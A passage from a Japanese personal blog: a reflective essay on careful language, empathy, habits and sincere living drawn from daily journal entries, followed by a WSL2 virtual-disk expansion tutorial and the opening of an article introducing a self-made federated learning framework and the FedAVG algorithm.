言葉には、使う人の価値観や前提が内包されるので、私たちがどのように対話し、社会を形成するかに大きな役割を果たします。 言葉を"正しく"使うということは、単に文法や語彙の正確さを追求するだけでなく、その言葉がもたらす帰結や相手の受け取られ方に対しても意識を向けることだと思います。

とはいえ、言葉はとても難しく、"正しく"使いこなすことは容易ではありません。 それでも、言葉は私たちが日常の中で絶えず使わなければならないものでもあります。

一度発した言葉は取り消すことはできず、相手の心に残り、時には関係性や世界のあり方にまで影響を与えます。 自分の発する言葉により、他者を傷つけてしまうことを考えると、とても怖いです。 だからこそ、「なぜこの言葉を使うのか」を考えることが大切であり、この問いを持ち続けることが、より良い言葉の選び方につながるのだと考えています。

他者への敬意の表れとして、この「より正しい言葉遣い」という意識が芽生えてきたと考えていますが、一方で、正しさを意識するほど、自分自身がその正しさに縛られてしまう感覚もあります。 完璧な正しさはどこにもなく、誰かにとっての正しさが、別の誰かには届かないことは十分にあり得ます。

だからこそ、正しさを求めるのと同時に、自分の言葉が"正しくない"かもしれないという可能性にも意識を向けられるような、心の余白を持てるようになりたいです。 この余白は、正しさを手放すというわけではなく、私たちの発する言葉に他者が入り込める場所になると考えています。 正しさを押しつけないことで、読んだ人が「そこにいてもいい」と思えるような、優しく穏やかな空間が生まれるのだと思います。

おそらく、言葉を怖いものだと感じることは重要な感覚であり、これは自分に言葉に対する慎重な姿勢を与えてくれています。 感情から発される勢い任せの雑なコミュニケーションはせずに、丁寧でいることを諦めたくないです。

日々の学びを通じて、言葉の奥深さを味わいながら、少しずつ言葉を乗りこなしていきたいです。

人を救う言葉

言葉は、ただ並べるだけではなく、その背景にある気持ちや意図によって、まったく異なる意味を持ち得ます。 だからこそ、何気ない一言が誰かの心に寄り添うことができたり、逆に傷つけてしまったりすることもあります。

人を救う言葉とは、"その人が必要としているときに適切な形で届けられる言葉"と表現できると思います。 どんなに美しい言葉でもそのタイミングや相手の状況によっては届かないこともありますし、逆にシンプルな一言が心に深く響くこともあります。

人は、自分の内面に深く沈み込むこともあれば、他者の何気ない言葉や気配によって「霧」がわずかに晴れ、浮かび上がることもあって、この流れの中で、僕たちはそれぞれの「夜」を抱えながら生きている。 誰かに寄り添おうと思って投げかけた言葉は、結局のところ、あの時の僕が必要としていた言葉だったんだと思う。だから、きっと、暗闇の中で孤独に打ちのめされながら、ひとり枕を濡らすような夜が増えるほど、僕は優しい言葉をあなたに届けられるようになる。こうして編み上げられる言葉で、いつの日かあなたに寄り添うことができるなら、これでよかったんだと信じたい。(2025年3月9日(日)日報)

私たちは、自分が過去に貰った優しさを通じて、他者への優しさを学んでいくことができます。 誰かの言葉に救われた経験があるからこそ、同じように誰かに優しい言葉を届けたいと思えます。 この連鎖が、言葉の持つ力の1つなのかもしれません。

僕らは不快な感情や自己否定に囚われてしまっているとき,その否定的な感情を排斥して,無かったことにしたくなる.しかしきっと,その感情がそこにあることを認めることが重要なのである.感情には理由があり,それは,その人の過去や経験,価値観に根ざした大切なものだからこそ,決して軽んじられるべきではないはずなんだ. 否定してしまう自分に対し,改善や解決が必要であると感じてしまうこともあるが,不快な感情は解決されるべき問いではなく,その瞬間のあなたを形成している一部でもある.むしろ,それを抱えながらも歩み続けている事実こそが,あなたの強さや美しさであると信じたい. だからこそ,「それでいいんだよ」と,抱えたままで良いという姿勢が救いになるのであれば,僕はあなたに言葉を変えて何度でも伝えていきたい.その感情があなたを縛るのではなく,あなたがその感情を持ちながらも,ありのままで幸せを感じられて,自由で居続けられる状態を目指して欲しい.あなたと一緒に対話を重ねる中で,少しでもそのような感覚を身に着けられるなら,僕はとても嬉しい.(2025年2月1日(土)日報)

他者の苦痛に対峙する

深い苦しみに直面している人にとって救いとなり得るのは、単なる優しい言葉ではなく、共感に根ざした言葉だと考えています。 共感は相手の痛みや苦しみを自分自身のものとして感じ、受け止める行為であり、その体験を言葉に乗せて伝えることで、相手は「自分は理解されている」と感じ、孤独感や疎外感が和らぐのかもしれません。

人を救うのは優しさではなく共感なんだろうなというのがこの1年くらいの気づきである.共感のできない他者が無理しないでねと言っても,当人にはなんの解決にもならないのである.優しさは沈んでしまわないよう支えてあげることはできても,一度沈んでしまったものを引き上げることまではできないのかもしれない.共感の無い優しさを嘘や偽物とまでは否定しないけれど,驚くほど響かない. 寄り添うのに必要なのは共感で,そこには優しさは必ずしも必要ないのかも知れない.心が沈んでいるときは認知の歪みが起こっていて,自分の状態,責任,考えを言語化できないことが多い.わかってほしいと主張する割には,自分に能力が無いからだと言語化を放棄して片づけてしまうこともあると思う.自分の気持ちを代弁してくれるかのような存在があると何か負担が和らぐ気がするし,それが救いになり得るのはよくわかる. ダークなオーラを身にまとっているときはとにかく自分に合わない意見を否定したくなる.人の意見を拒絶するというよりかは,話を聞いたうえで否定するための粗を探して理論武装をしがちだ.親身に寄り添ってくれている他者に対してそんな鋭い牙を向けたくない気持ちと,それでも反論したくなる気持ちでいっぱいになる.すごく苦しい. みんなはどうして自分のことをそんなに信じてあげられるのだろう.この世界で生きることにどう興味を持ち続けているのだろう.新しい砌に,晴れ晴れしく生きる覚悟はあるか?僕には無い.(2024年5月22日(水)日報)

残酷な状況にある人に対しては、まずは聴くことが大切です。 相手の言葉を否定せず、ただその心の叫びに寄り添うことで、彼ら彼女ら自身が自分の内面を整理する助けになる場合があります。そして、無理に励ましたり、解決策を押し付けたりするのではなく、相手が感じている痛みや混乱を認め、「その苦しみはあなたが感じるに相応しいものだ」と共感する姿勢を示すことが求められます。

共感するということは、必ずしも明るい希望やポジティブな未来を約束するものではありませんが、その瞬間において相手が孤独ではないという安心感を与える力があります。

"われわれ"を拡張する

言葉で何かを表現するときに、私は主語や目的語を強く意識して選択するようにしています。 これは単なる気分や文体の変化ではなく、読み手との間の連帯の可能性を意識しているものです。

連帯という言葉を安易に使ってしまっている気もしますが、例えば"僕"ではなく"僕たち"と表現することで、同じような境遇の人に共感し、言葉の中に含めようとしているのなら、それは連帯を生み出す1つの縁とも言えるのかなと思います。

あくまで日報は自分の感じたことについて書いてきたものですが、書く行為の中で「苦しみを和らげたい」という願いが育まれてきたのは事実だと考えています。 言葉にしたところで現実は何も変わらないし、苦しみを完全に消し去ることはできません。 それでも、感情的な紐帯によって、痛みを共有してあなたと共に向き合うことで少しでも救われたような気持ちになるのなら、それで十分なんだと思います。

自分の感情を整理して言葉にすることは、単に記録を残すことだけではなく、自分自身との対話でもあり、心を支える手段でもあるのです。


自分を護る習慣

毎日の規則正しい習慣は、不確実な未来に対する小さな安全地帯のようなものとして機能して、ある程度のものごとをやり過ごしてくれます。 心が波立っていると、気分が行動を支配してしまう状態になってしまいますが、習慣があることによって、行動が気分を支えてくれるようになります。

また、習慣は、"自分を否定する自分"に対する有力な反証の手段として機能します。 自分を否定する感覚というのは、「何もしていない」という気持ちから来ることが多いです。 でも、習慣として目の前のやるべきことをきちんとこなしていけば、「何もしていない」という感覚自体が、事実として矛盾することになります。

みんな、怖いんだよな。臆病なのは自分だけかと思っていたこともあるけど、強がっていたり隠していたり、見えていないだけで周りの人も裏ではすごく繊細でか弱い存在だったりする。オレたちは臆病なもんだから、どうしても無理なことはたくさんあるんだと受け入れるところから始まるんだ。 堂々とした立ち振る舞いをするのは無理なんだ。自信を持てないことを恥ずかしいと思うくらいなら、それを受け入れて戦略を練る方がオレたちには合っている。なら、臆病の裏返しでとにかく続ける努力やひたむきな誠実さはオレたちの武器だと言ってしまってもいいのだろうか? ある瞬間は自分を強く保てそうな気がするが、すぐに心は折られる。だから習慣化によって行動のコストを下げたり何かを新しく試すハードルを下げたりして、日報なりマンダラートなりで振り返ることで自分を見失わないようにするライフハックがあるんだ。手段はおそらくなんだっていいんだろうけど、とにかく、自分を護ってくれるものがあることが大事なんだ。他者が何を言っても響かないということもそろそろ認めたほうがいい。自分の幸福を他人の中に見出そうとしている時点でダメなんだ。うっすらとした閉塞感による生きづらさを取っ払いたいなら自分の喜怒哀楽をもう誰かの思惑に奪わせちゃいけないんだ。(2024年5月20日(月)日報)

自分との約束を守り続ける

やるべきことを放置し続けると、未完了タスクが脳内メモリを占有していき、精神的なリソースを奪うようになります。 これは単なる罪悪感に留まらず、自分に対する信頼を蝕むという根の深い影響を持っています。

自分との約束を守ることは、自分を裏切らないことでもあります。 他者に向ける態度と同様に、自分に対しても誠実でいなければ、自分自身と信頼関係を築くことはできません。

でも逆に、ほんの少しのことでも「ちゃんとやった」と思える体験があると、それは心のどこかに小さな支えを作ってくれます。 「今日は何もできなかった」と思う日の中にも、「いや、あれはちゃんとやったな」と思える一点があるだけで、落ち込みの深さは違ってくるものです。 これが、自己否定に歯止めをかけてくれます。

以前は、「なんとかなる」という言葉に楽観や現実逃避の匂いがして、苦手意識を持っていました。 でも今は、小さくても「ちゃんとやった」という手応えを確かに何度も自分の中に刻めている人なら、「きっとまたどうにかできる」と自然に思えているのかもしれないと感じます。 これは無根拠な希望ではなく、根を張った確信に近いものになっているはずです。

逆に言えば、自分との約束を守り続けることができれば、未来の自分が困難に直面したときに「なんとかなる」と思えるのかもしれません。 そう思えるだけの支えを、日ごろから積み重ねていくと解釈ができます。 未来に対する希望は、今この瞬間の小さな誠実さの延長線上にしか存在しないのかもしれません。

ただいま。8月からストリークが切れてしまいました。7割くらい書いて寝落ちしてしまう日々がずっと続いて、書ききれなかった分を取り戻すために、それらしいことを書いて日報としての体裁を保とうとするのは、恐ろしい労力が必要でした。さすがに日報を追いつかせようとするのに限界が来て、書けていない日は、その日あったはずの出来事をすっかりと忘れてしまうような日もできてしまった。 最近はかなり酷い生活を送ってしまっている気がする。生活は乱れ、記録を取っていないものだから、数日前の出来事をすらも忘れちゃって、空っぽのまま、あっという間に時間が過ぎていってしまうように感じる。何かを吐き出しつつもしっかりと生きていた日々のほうが振り返ったときに充実していたように思う。日報の書けなかった日は、今後振り返えろうとしても思い出すことは難しい。そのとき感じた何かが記録を取らないことですぐに昇華してしまうのは、結構寂しい。恐ろしくネガティブな表現でさえ、他者からの視点のように後日冷静に読み返すことができるのは、まさしく記録の強味で、当時の叫びを眺めるのは結構面白かったりする。 当たり前のことを当たり前にやることが何より大事なことの一つで、僕にとって日報は、内省の機会創出でありつつも、タスク整理ができたり、この世界に佇んでいるものに目を向けられるようになったりしたもので、やっててよかったなという感情しか湧いてこない。まぁまぁ、続いていたものが一度途切れてしまうと「あーあ。」となってすべてがどうでもいいやと塞ぎ込んでしまうけど、ここから1点でもよくした生活を送ってみようと考えると、再開しない以外の選択肢はないんだろうなぁ。こう思えているのはストリークを切らしたからなのだろうか。ちゃんと朝起きて、一日をしっかり生きて、寝る前に日報投稿して寝る、当たり前の生活を続けて生きたい。(2024年9月10日(火)日報)

結局、自分で自分を好きになれるかどうかは、何か特別な才能があるだとか、誰かに認められただとか、ナニモノになれただとかでは決まらないと感じます。 「自分が今やれることをやっているかどうか」、これだけが、自分への信頼を育てる唯一の方法です。

人と比べてしまう瞬間というのは、いつだって唐突で、自分が無防備なときにやってきます。 でも、そういうときにこそ、比較や数字に引きずられずに、「今日の自分がやったこと」に目を向け、そこに誇りを持てるかどうかが、とても大事です。 当たり前のことを当たり前にやれたときが、一番気持ちいいものです。

また、「自分を侮らない」「自分を卑下しない」と口にすることは簡単ですが、実践するのは本当に難しいです。 でもだからこそ、「やった」「やりきった」「手を抜かなかった」という小さな実感の積み重ねが、自分を侮らないための確かな盾になってくれます。 誰にも褒められなくても、誰にも見られていなくても、自分だけはちゃんと知っています。 こうやって、一つひとつ積み重ねていったものが、やがて自分の心の中で静かに光ってくれるのだと思います。

#丁寧な暮らし を演じる

日々の生活に追われる中で、「今日はこれでいいや」というものが積み重なっていくと、無意識に「自分のだからまぁいいか」という態度に変化していってしまうことがあります。 「誰かのために」と思うと頑張れることはありますが、どうも自分のことになると雑に扱ってしまいがちです。 しかし本来、自分こそが最も長く自分と付き合っている相手であるので、誰よりも丁寧に接するべきなのは、自分自身なのです。

#丁寧な暮らし というのは、例えば、朝起きてカーテンを開けること、料理を丁寧に盛りつけること、食べる前にいただきますを言うこと、洗濯物を綺麗に畳むこと、机の上を綺麗にすること、お気に入りの香りを身にまとうこと、いいなと思った瞬間を記録することなど、 "ちょっとしたこと"の積み重ねです。 どれも簡単にできることかもしれませんが、意識しないとつい見過ごしてしまいます。

今この瞬間に少しだけ注意を向けて #丁寧な暮らし を演じることで、自分を大切にする習慣を身に着けていきたいです。

生きていくことを愚直に果たす

私は、愚直に生きるということを"規則正しい生活"として、地に足をつけた形で捉えています。 華やかでなくても、やるべきことを正しくきちんと日々積み重ねるような日常に自分を置くということは、周囲の雑音や感情の波に呑まれることなく、自分のリズムを持ち続けるということでもあります。

誰かに褒められた時の高揚感や、誰かに貶された時の焦燥感に、自分の価値を委ねてしまうと、心が落ち着く場所を見失ってしまいます。

でも、「自分はどう在りたいのか」という静かな1本の軸があれば、感情の浮き沈みに吞まれずに済みます。 例えば「今日はちゃんと朝起きられた」「今日はやるべきことをすべて片づけた」「今日はしっかりと休んだ」というような、ごく小さな記録の積み重ねが、そのまま自分を支えてくれるようになります。

習慣と記録は、自分で自分を見失わないための手がかりであり、自己評価の基準にもなります。 それは、自分を肯定するというよりも、「何もしていない」と自分を否定してしまう内なる声に対して、確かに否を示せるという意味で、自分を護る術でもあります。

また、「愚直」という言葉には、要領が悪いといった響きがあるかもしれません。 しかし実際には、理想だけで走らず、現実から逃げず、手を動かすことを諦めないという姿勢を指します。 目の前の小さな選択を丁寧に、誠実に積み重ねようとすることに派手さはありませんが、それらは確かに意味のある営みであり、それこそが「愚直に生きる」ということなのだろうと解釈しています。

誰にも見られていない日常の中で、それでも「ちゃんとしよう」と思い続け、「完璧じゃなくてもいい、でも投げ出さない」という日々の選択が、いずれ自分自身の重みとなり、支えになり、信頼になっていきます。

自由に生きるということは、他人の評価に縛られずに生きることでありますが、それと同時に、「自分で自分を侮らない」という視点を持ち続けることでもあると感じています。 誰にも賞賛されなくても、誰にも気づかれなくても、それでも自分だけが証人として「私はちゃんとやってきた」と言えるということが、自分の人生に対して責任を持つということなのかもしれません。

規則正しい生活を続けながら、自分がどう在りたいのかという軸を持ち続けることができれば、外部の評価に翻弄されることなく、もっと自由に、自分らしく生きられる気がしています。

今日をどう過ごそうか

規則正しい習慣が多くのことを平準化してくれる一方で、心の奥底には「それでも平準化されきらないもの」が存在し得ます。 それは、自分が何を大切にしているのかという問いに大きく関わる部分なのかもしれません。

これは文脈の無い話だけど、誠実な人ってむっちゃ素敵じゃないですか? コンビニの店員さんに「ありがとうございます」を毎回言える人だったり、誰も見ていないところでも行儀よく振る舞ったり、自分にさえ嘘をつかなかったり、他人に対する敬意を持って自己の価値観や信念に忠実で居続けられる人はとっても素敵だなと思っています。 その誠実さはきっと周りの人に安心感を与えて自己の内面に平穏をもたらしてくれるものだと思っているので、バカ真面目と揶揄されようが、できるだけ誠実で居続けたいなと思っています。(2024年4月12日(金)日報)

何のために生きているのかと問われると難しいですが、「誠実に生きる」という姿勢には妙に惹かれます。 これには、 無理に何かを証明したり、他者の価値観に合わせたりせず、とにかく自分自身と向き合いたいという想いがあるからなんでしょうか。

自分が今できることを一つひとつ丁寧に行うために、自分がその瞬間に対して正直であり続けたいです。 これは目の前の自分の気持ちだけでなく、他者や世界に対しても真摯に向き合いたいということでもあります。 不条理を抱えたまま、それでも自分のできる選択をするという態度が合っていると感じるのであれば、この感覚は信じてあげたいです。 これらは、どんな状況でも自分らしくいられるための大切な拠り所になるような気がします。

では、誠実に生きるとはどういうことなんでしょうか。 誠実に生きることは、何か特別な行動をすることではなく、むしろ自分の中で抱える苦痛や混乱、不条理への疑問をそのまま抱えつつ、それでも「今日をどう過ごそうか」と問い続けることなのだろうと、一旦着地しています。

しかし誠実に生きるというのは、自分の弱さや未熟さ、さらには内なる悪に対して正面から向き合うことからは避けられないので、ものすごくしんどいことです。 しかも他人からは、つまらない人間だと思われているかもしれません。

でも、自分が感じてきた心の痛みや孤独感が、他者の苦しみに対する共感を育んでいるような気もします。 私の人生の中で経験している「生きづらさ」や「恥ずかしさ」は、他者の抱える苦しみや不安への理解を深める源にもなっているような気もして、その結果、「苦しみを和らげたい」という願いを持っていることがわかってきました。

不条理な現実の中で見えてしまう不誠実さや理不尽さ、あるいはそこから生じる自分だけが社会に取り残されていく感覚や苦しみの共有ができない状態は、残酷であり、自分はこの残酷さを減らすことがしたいと思えるようになってきました。

大層なことを述べていますが、残酷さを減らすための社会活動をするという訳ではなく、仕事や生活を通じて自分ができる範囲で周りの人に優しくするというスタンスで生きていくつもりです。 結論どんな仕事をしようが、他者に寄り添う姿勢や常に誠実な態度を選択して、目の前で起きている残酷さを少しだけ減らすことができたら、それでもう十分なんだと思います。

つまり、生きる意味を探そうとすることよりも、どう生きるかを自分で選び続けることが、不条理な世界への自分なりの反抗であり、これが生きることそのものになるのです。


おわりに

最後まで読んでくださってありがとうございました。

自己肯定感の低さや自己否定的な感情に正面から向き合うことは本当に苦しい作業です。 でも、課題を不明確にしたまま、漠然とした不安に駆られ続けるのにはもう飽きました。

日報に記録されている過去の逡巡や葛藤、それらを記録することによって残される軌跡は、今の自分にとっての自己理解を深め、次へ進むための貴重な糧となっています。 本稿の執筆にあたり、自分にどのような変化があったのかを整理する貴重な機会になりました。

私はこの3月で学生期間を終えますが、次は自分に選択肢を残せられそうな環境に進むことにしました。 渇望が止まない頃は「自分の納得のできる地獄を選ぶこと」こそが美学であると考えていましたが、私の場合、"地獄に進むことが自分の納得のできる選択である"と解釈してしまっていました。 苦しい道をデフォルトに選ぶことを避けるという、一見逃げの選択ですが、これは長期的な生存戦略のために今の自分に無理のない選択をしたということであります。

人生の勢いがどんどん止まっていく感覚はあり、過去の自分は現在の自分を軽蔑するかもしれません。 6年間情報技術を学んできた結果こういう選択の仕方をするんだと、自分でも少し驚きますが、現在私がいる地点は、思索を巡らした先に辿り着いた点であることは確かなので、この選択を自分の中で肯定できるようひっそりと誇れるようになりたいと思います。

恥ずかしくなんかひとつもないよな。

たとえうまく選べなかった過去があったとしても、自分で選ぶ日々の行動を大切にすることが、私のこれからの道を形作っていくと信じて生きていきます。


3年間本当にお世話になりました。 お世話になりました皆さま、またどこかでお会いしましょう。

SecHack365へのご応募、お待ちしております。

sechack365.nict.go.jp

【WSL2】仮想ハードディスクのサイズを拡張する

この記事はSecHack365 Advent Calendar 2024 3日目の記事です。

qiita.com


こんにちは、ふたばとです。

今回は、WSL の仮想ハードディスクサイズの拡張、つまり WSL に割くストレージの量を拡張します。

先日のこちらの記事は、Windows 側のストレージの話です。

01futabato10.hateblo.jp

1. 現在のディスク使用状況を確認する

まず、現在のディスク使用状況を確認します。以下のコマンドを実行してください。

$ df -h /mnt/wslg/distro

例として、以下のような出力が得られます。

Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc        251G  239G     0 100% /mnt/wslg/distro

2. DiskPartを使用して仮想ディスクを選択する

次に、Windows PowerShell を開き、DiskPart を使用して仮想ディスクを選択します。 仮想ディスク(.vhdxファイル)のパスの取得の仕方は、以下のブログをご参照ください。

01futabato10.hateblo.jp

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

新機能と改善のために最新の PowerShell をインストールしてください!https://aka.ms/PSWindows

PS C:\WINDOWS\system32> diskpart

Microsoft DiskPart バージョン 10.0.22621.1

Copyright (C) Microsoft Corporation.
コンピューター: FUTABATO-DESKTO

DISKPART> Select vdisk file="$env:USERPROFILE\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\ext4.vhdx"

DiskPart により、仮想ディスク ファイルが選択されました。

仮想ディスクが選択されたことを確認し、詳細をみます。

DISKPART> detail vdisk

デバイスの種類 ID: 0 (不明)
ベンダー ID: {00000000-0000-0000-0000-000000000000} (不明)
状態: 追加済み
仮想サイズ:  256 GB
物理サイズ:  250 GB
(snip)

3. 仮想ディスクのサイズを拡張する

仮想ディスクのサイズを拡張するには、以下のコマンドを実行します。

DISKPART> expand vdisk maximum=524288

  100% 完了しました

DiskPart により、仮想ディスク ファイルは正常に拡張されました。

拡張が完了したことを確認してみます。

DISKPART> detail vdisk

デバイスの種類 ID: 0 (不明)
ベンダー ID: {00000000-0000-0000-0000-000000000000} (不明)
状態: 追加済み
仮想サイズ:  512 GB
物理サイズ:  250 GB
(snip)

DiskPart を終了します。

DISKPART> exit

DiskPart を終了しています...
PS C:\WINDOWS\system32>

4. ファイルシステムのサイズを調整する

WSL を起動します。

$ df -h /mnt/wslg/distro

この時点では、まだ何も変わっていないでしょう。

Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc        251G  239G     0 100% /mnt/wslg/distro

バイスをマウントします。

$ sudo mount -t devtmpfs none /dev

既にマウントされている場合、mount: /dev: none は /mnt/wsl にマウント済みです. とメッセージが表示されます。

マウントされたファイルシステムを確認します。

$ mount | grep ext4

例として、以下のような出力が得られます。

/dev/sdc on / type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)
/dev/sdc on /mnt/wslg/distro type ext4 (ro,relatime,discard,errors=remount-ro,data=ordered)

resize2fs コマンドを使用してファイルシステムのサイズを調整します。

$ sudo resize2fs /dev/sdc 524288M

例として、以下のような出力が得られます。

resize2fs 1.45.5 (07-Jan-2020)
Filesystem at /dev/sdc is mounted on /; on-line resizing required
old_desc_blocks = 32, new_desc_blocks = 64
The filesystem on /dev/sdc is now 134217728 (4k) blocks long.

これにて正常に ext4 の仮想ハードディスクサイズが拡張されました。

5. 変更を確認する

$ df -h /mnt/wslg/distro

わいわい。

Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc        503G  239G   237G  51% /mnt/wslg/distro

この記事はSecHack365 Advent Calendar 2024 3日目の記事です。

qiita.com

昨日 2 日の記事は しーぴーくん の WebUIをサッと作るツールとしてのhtmx でした。

zenn.dev

明日 3 日の記事があるかはわかりません。

自作連合学習フレームワーク『FutabatedLearning』

こんにちは,ふたばとです.

今回は最近開発している自作の連合学習フレームワーク『FutabatedLearning』を紹介をしてみようと思います.
最低限人に見せられるよう整えたので LICENSE を MIT にしてリポジトリを公開しました.

github.com

連合学習とは,機械学習におけるプライバシーの保護に重点を置いた学習手法です. 一般的な機械学習を1つの中央のサーバにデータを集約してそのサーバ上でモデルを作成することとすれば,連合学習は中央のサーバと複数のクライアントとで構成されており,クライアントは分散しています.各クライアントは自身が所持するデータセットを用いてローカルで学習した結果を中央サーバに送信します.中央のサーバは各クライアントから送られてきた学習結果を適切に集約することで,1つのグローバルモデルを作成します.
学習に用いるデータはクライアント上にあるため,連合学習は規制の問題を回避したり,インフラにかかるコストを抑えられたりするメリットがあります.

自作している連合学習フレームワーク『FutabatedLearning』は Researcher Experience の高いシステムを目指して開発している,連合学習のフレームワークです.
あくまで研究用に小回りが利くことを意識しているため,実用的な連合学習はあまり想定できていません.
コードの再利用性のために HydraYAML を設定して実験の設定ができるようにしていて,実験は MLflow でロギングしているため実験同士の比較を WebUI で簡単に行うことができます.
また,Docker, Poetry, DevContainer で環境を構築しているため,コードを動かすためのツラミを最小限にしようとしています.

本稿では FutabatedLearning の簡単な紹介を行いますが,その前に連合学習の基本的な説明をしておこうと思います.

連合学習の概要

連合学習(Federated Learning) は 2016 年に Google より提唱されました.*1

blog.research.google

連合学習のコンセプトは,データ漏洩を防ぎながら,複数のデバイスに分散されたデータセットに基づいて機械学習モデルを構築することにあります.*2

一般的な機械学習を1つの中央のサーバにデータを集約してそのサーバ上でモデルを作成することとすれば,連合学習は中央のサーバと複数のクライアントとで構成されており,クライアントは分散しています. ここでいうクライアントは,組織や各個人が所有するデバイスが当てはまります.

連合学習は通信コストを制約として,学習データをクライアントが保持することでサーバがデータを保持する必要性を解消します.

サーバはまずグローバルモデルを各クライアントに配信します.グローバルモデルを受け取った各クライアントは自身が持つデータセットを用いてグローバルモデルをローカルで学習させ,学習の結果得られるクライアント固有のモデルの更新情報をサーバに送信します.
サーバはクライアントから送信されたモデルの更新情報を集約して1つにまとめ,グローバルモデルを更新します.
この過程を1ラウンドとして,このラウンドを繰り返すことで連合学習は学習が進んでいきます.

連合学習の概要

もう少し具体的なアルゴリズムは後ほど見ていきますが,
このような学習プロセスを歩むことで,学習データは各クライアント上に保持したまま1つのモデルを作成する共同学習を実現できます.

モチベーション

では,どうしてデータセットを中央のサーバに集約するのではなく,クライアント上で保持すると嬉しいのでしょうか.
連合学習が台頭する背景には,機械学習が抱えるデータに関する規制の問題やユーザの好みの問題,インフラにかかるコストの問題が存在していました.

規制の問題

2018 年に EU で施行された GDPR*3 では,個人情報は基本的人権として見做されています. これは 1983 年にドイツ連邦憲法裁判所で情報自己決定権という概念が定式化され,今日の GDPR へ継承されています.

日本の法律でいうと,2022年4月1日に改正個人情報保護法が施行されました.*4

www.ppc.go.jp

support.google.com

改正個人情報保護法には、日本国内のユーザーの、個人に帰属する情報(PRI)の処理に関する規則が含まれます。改正個人情報保護法では、企業が日本国内のユーザーの PRI を「個人情報」に関連付ける可能性が高い第三者に提供する際、企業は、データの受領者がデータを処理することについてユーザーから同意を得て記録していることを、データの受領者に確認することが義務付けられています。PRI は通常、それ自体は特定の個人を識別しない識別子(Cookie ID など)によって収集され、(個人情報保護法で定義される)個人データと関連付けられる形で保存されることはありません。

世界の異なる地域のデータは,その地域のデータの保護規則によって管理されるため,単一の組織が持つ自分たちデータさえも学習に利用できないことさえあります.

ユーザの好みの問題

規制の問題とは別に,ユーザの好みの問題も存在します.

後ほどユースケースで紹介する事例とともに説明すると,個人が持つデバイスに在る機微なデータ(例えば,キーワードで入力された文字列)を利用したい場合,規制の問題を回避できていたとしても入力情報が外部のサーバに送信されることは,ユーザは好ましく思わないでしょう.
実際にこのようなユースケースに存在する問題を解決するために生まれたのが,連合学習になります.

インフラにかかるコストの問題

データを1つのサーバに一元的に集約することは,インフラにかかるコストが大きくなります.
データを集約せずにクライアントが保持したまま学習することができれば,データを保持するための中央集権的なインフラが不要になるメリットがあります.

事例とユースケース

先述したデータの扱いに関する多面的な問題を機械学習は抱えていたために,昨今の盛り上がりを見せる機械学習技術の恩恵を受けられないユースケースが存在していました.
連合学習の台頭によって,中央サーバにデータを集約することが難しいユースケースにおいても機械学習の恩恵を受けられる連合学習が注目されているということがわかります.

連合学習は研究だけに留まらずに実用化もされているので,ここでは事例とともにユースケースを紹介します.

連合学習は学習に参加するクライアントと作成するモデルの規模に基づいて,クロスデバイス学習とクロスサイロ学習の2つのタイプに分類することができます.

クロスデバイス学習

クロスデバイス学習におけるクライアントは,IoT デバイススマートフォンが当てはまります.
学習に参加するクライアントの数は数千のオーダになる場合もあります.

連合学習の収束を早めるためのアルゴリズムの研究がありますが,それらの研究はこのクロスデバイス学習の問題設定を利用していることが多いです.

クロスデバイス学習の事例として,ユーザが所持するスマートフォンの予測変換データを用いた連合学習の事例があります.

blog.research.google

クロスサイロ学習

クロスサイロ学習におけるクライアントは,病院のような組織などエンティティが当てはまります.
ここでいうサイロとは,各エンティティが保持する,分離・独立したリポジトリであることを指しています.

クロスデバイス学習は単一組織内の分散化されたデバイス間でモデルを学習することに重点が置かれていることが多い一方で,クロスサイロ学習は単一組織の境界を越えます.

arxiv.org

クロスサイロ学習の事例として,『Federated learning for predicting clinical outcomes in patients with COVID-19』が有名です.

www.nature.com

blogs.nvidia.com

医療情報を扱うデータで連合学習をやるには,クロスサイロ学習のアプローチを利用することになると考えられます.

連合学習の種別

連合学習は水平連合学習と垂直連合学習に分けることができ,各クライアントが所持するデータの構造や連合学習のタスクに応じて適用手法が異なります.

本稿で取り上げるものを含め,連合学習の多くは水平連合学習と呼ばれるものになります.
水平連合学習はテーブルデータを思い浮かべるとイメージしやすいかと思います.

水平連合学習

水平連合学習(Horizontal Federated Learning)は,各クライアントが同じ特徴量を持つが,サンプル(言うなれば ID)が異なるデータ構造の場合に適用できます.
単純に学習に使えるデータがクライアントの分だけ増えると捉えて問題ないでしょう.

水平連合学習の目標は,すべてのクライアントのデータセットに渡ってうまく汎化できるグローバルモデルを学習することになります.

垂直連合学習

垂直連合学習(Vertical Federated Learning)は,各クライアントで同じサンプルであるが,異なる特徴量を持つデータ構造の場合に適用可能です.
これは組織間で収集しているデータは異なるものの,法的な観点で共有することができないケースに有効な学習手法であると言えるでしょう.

垂直連合学習で学習するには,ID の整合性を取る必要があります.
ID を突合して,全クライアントとサーバみんなで協力してグローバルモデルを作成していきます.

基本的なアルゴリズム

どのように集約をするのかでもさまざまな研究が行われていますが,
今回は,FedAVG*5 という代表的な集約アルゴリズムを例に,連合学習の基本的なアルゴリズムを確認していきます.

  • B: ローカルミニバッチサイズ
  • E: ローカルエポック数
  • η: 学習率
  • K: クライアントの数
  • k: クライアントの Index
  • C: 各ラウンドにおける学習に参加するクライアントの割合
  • Pk: クライアント k 上のデータポイントの Index の集合
  • w: モデルのパラメータ
  • ∇l(w; b): 損失関数 l(w; b) の勾配

FedAVG Algorithm 1

Server executes

  • ラウンド 0 としてグローバルモデル w を初期化する
  • ラウンド t = 1, 2, ... の間以下の処理を行う
    • 学習に参加するクライアントをランダムに m 個選択する
    • 各クライアントについて,以下の処理を並列に行う
      • クライアントの Index k, とラウンド t におけるグローバルモデル w_t を引数に ClientUpdate を呼び出し,返り値を クライアント k におけるラウンド t+1 のモデルとする
    • 学習に参加しているクライアントから送られてきたモデルの更新情報の加重平均を取り,ラウンド t+1 におけるグローバルモデルとする

FutabatedLearning での実装は以下のとおりです.

def average_weights(
    local_weights: list[dict[str, torch.Tensor]],
) -> dict[str, torch.Tensor]:
    """
    Averages the weights from multiple state dictionaries (each representing model parameters).

    Args:
        local_weights (list of dict): A list where each element is a state dictionary of model weights.

    Returns:
        A dict of the same structure as the input but with averaged weights.
    """
    # Initialize the averaged weights with deep copied weights from the first model
